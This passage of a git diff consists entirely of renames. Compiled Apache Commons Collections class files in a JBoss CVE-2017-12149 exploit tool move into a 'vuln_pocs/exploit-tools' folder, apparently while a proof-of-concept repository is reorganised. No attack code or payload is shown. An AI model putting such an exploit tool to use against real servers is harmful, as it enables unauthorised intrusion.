a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/TransformedSortedBag.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/TransformedSortedBag.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/TransformedSortedBag.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/TransformedSortedBag.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/TreeBag.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/TreeBag.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/TreeBag.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/TreeBag.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/TypedBag.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/TypedBag.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/TypedBag.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/TypedBag.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/TypedSortedBag.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/TypedSortedBag.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/TypedSortedBag.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/TypedSortedBag.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/UnmodifiableBag.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/UnmodifiableBag.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/UnmodifiableBag.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/UnmodifiableBag.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/UnmodifiableSortedBag.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/UnmodifiableSortedBag.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/UnmodifiableSortedBag.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/UnmodifiableSortedBag.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/package.html similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bag/package.html diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractBidiMapDecorator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractBidiMapDecorator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractBidiMapDecorator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractBidiMapDecorator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$BidiMapIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$BidiMapIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$BidiMapIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$BidiMapIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$EntrySet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$EntrySet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$EntrySet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$EntrySet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$EntrySetIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$EntrySetIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$EntrySetIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$EntrySetIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$KeySet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$KeySet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$KeySet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$KeySet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$KeySetIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$KeySetIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$KeySetIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$KeySetIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$MapEntry.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$MapEntry.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$MapEntry.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$MapEntry.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$Values.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$Values.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$Values.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$Values.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$ValuesIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$ValuesIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$ValuesIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$ValuesIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$View.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$View.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$View.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$View.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractOrderedBidiMapDecorator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractOrderedBidiMapDecorator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractOrderedBidiMapDecorator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractOrderedBidiMapDecorator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractSortedBidiMapDecorator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractSortedBidiMapDecorator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractSortedBidiMapDecorator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractSortedBidiMapDecorator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualHashBidiMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualHashBidiMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualHashBidiMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualHashBidiMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualTreeBidiMap$BidiOrderedMapIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualTreeBidiMap$BidiOrderedMapIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualTreeBidiMap$BidiOrderedMapIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualTreeBidiMap$BidiOrderedMapIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualTreeBidiMap$ViewMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualTreeBidiMap$ViewMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualTreeBidiMap$ViewMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualTreeBidiMap$ViewMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualTreeBidiMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualTreeBidiMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualTreeBidiMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualTreeBidiMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$EntryView.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$EntryView.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$EntryView.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$EntryView.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$Inverse.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$Inverse.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$Inverse.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$Inverse.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$Node.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$Node.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$Node.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$Node.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$View.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$View.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$View.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$View.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$ViewIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$ViewIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$ViewIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$ViewIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$ViewMapIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$ViewMapIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$ViewMapIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$ViewMapIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/UnmodifiableBidiMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/UnmodifiableBidiMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/UnmodifiableBidiMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/UnmodifiableBidiMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/UnmodifiableOrderedBidiMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/UnmodifiableOrderedBidiMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/UnmodifiableOrderedBidiMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/UnmodifiableOrderedBidiMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/UnmodifiableSortedBidiMap.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/UnmodifiableSortedBidiMap.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/UnmodifiableSortedBidiMap.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/UnmodifiableSortedBidiMap.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/package.html similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/package.html diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/AbstractBufferDecorator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/AbstractBufferDecorator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/AbstractBufferDecorator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/AbstractBufferDecorator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/BlockingBuffer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/BlockingBuffer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/BlockingBuffer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/BlockingBuffer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/BoundedFifoBuffer$1.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/BoundedFifoBuffer$1.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/BoundedFifoBuffer$1.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/BoundedFifoBuffer$1.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/BoundedFifoBuffer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/BoundedFifoBuffer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/BoundedFifoBuffer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/BoundedFifoBuffer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/CircularFifoBuffer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/CircularFifoBuffer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/CircularFifoBuffer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/CircularFifoBuffer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/PredicatedBuffer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/PredicatedBuffer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/PredicatedBuffer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/PredicatedBuffer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/PriorityBuffer$1.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/PriorityBuffer$1.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/PriorityBuffer$1.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/PriorityBuffer$1.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/PriorityBuffer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/PriorityBuffer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/PriorityBuffer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/PriorityBuffer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/SynchronizedBuffer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/SynchronizedBuffer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/SynchronizedBuffer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/SynchronizedBuffer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/TransformedBuffer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/TransformedBuffer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/TransformedBuffer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/TransformedBuffer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/TypedBuffer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/TypedBuffer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/TypedBuffer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/TypedBuffer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/UnboundedFifoBuffer$1.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/UnboundedFifoBuffer$1.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/UnboundedFifoBuffer$1.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/UnboundedFifoBuffer$1.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/UnboundedFifoBuffer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/UnboundedFifoBuffer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/UnboundedFifoBuffer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/UnboundedFifoBuffer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/UnmodifiableBuffer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/UnmodifiableBuffer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/UnmodifiableBuffer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/UnmodifiableBuffer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/package.html similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/buffer/package.html diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/AbstractCollectionDecorator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/AbstractCollectionDecorator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/AbstractCollectionDecorator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/AbstractCollectionDecorator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/AbstractSerializableCollectionDecorator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/AbstractSerializableCollectionDecorator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/AbstractSerializableCollectionDecorator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/AbstractSerializableCollectionDecorator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/CompositeCollection$CollectionMutator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/CompositeCollection$CollectionMutator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/CompositeCollection$CollectionMutator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/CompositeCollection$CollectionMutator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/CompositeCollection.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/CompositeCollection.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/CompositeCollection.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/CompositeCollection.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/PredicatedCollection.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/PredicatedCollection.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/PredicatedCollection.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/PredicatedCollection.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/SynchronizedCollection.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/SynchronizedCollection.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/SynchronizedCollection.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/SynchronizedCollection.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/TransformedCollection.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/TransformedCollection.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/TransformedCollection.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/TransformedCollection.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/TypedCollection.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/TypedCollection.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/TypedCollection.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/TypedCollection.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/UnmodifiableBoundedCollection.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/UnmodifiableBoundedCollection.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/UnmodifiableBoundedCollection.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/UnmodifiableBoundedCollection.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/UnmodifiableCollection.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/UnmodifiableCollection.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/UnmodifiableCollection.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/UnmodifiableCollection.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/package.html similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/collection/package.html diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/BooleanComparator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/BooleanComparator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/BooleanComparator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/BooleanComparator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/ComparableComparator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/ComparableComparator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/ComparableComparator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/ComparableComparator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/ComparatorChain.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/ComparatorChain.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/ComparatorChain.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/ComparatorChain.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/FixedOrderComparator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/FixedOrderComparator.class similarity index 100% rename 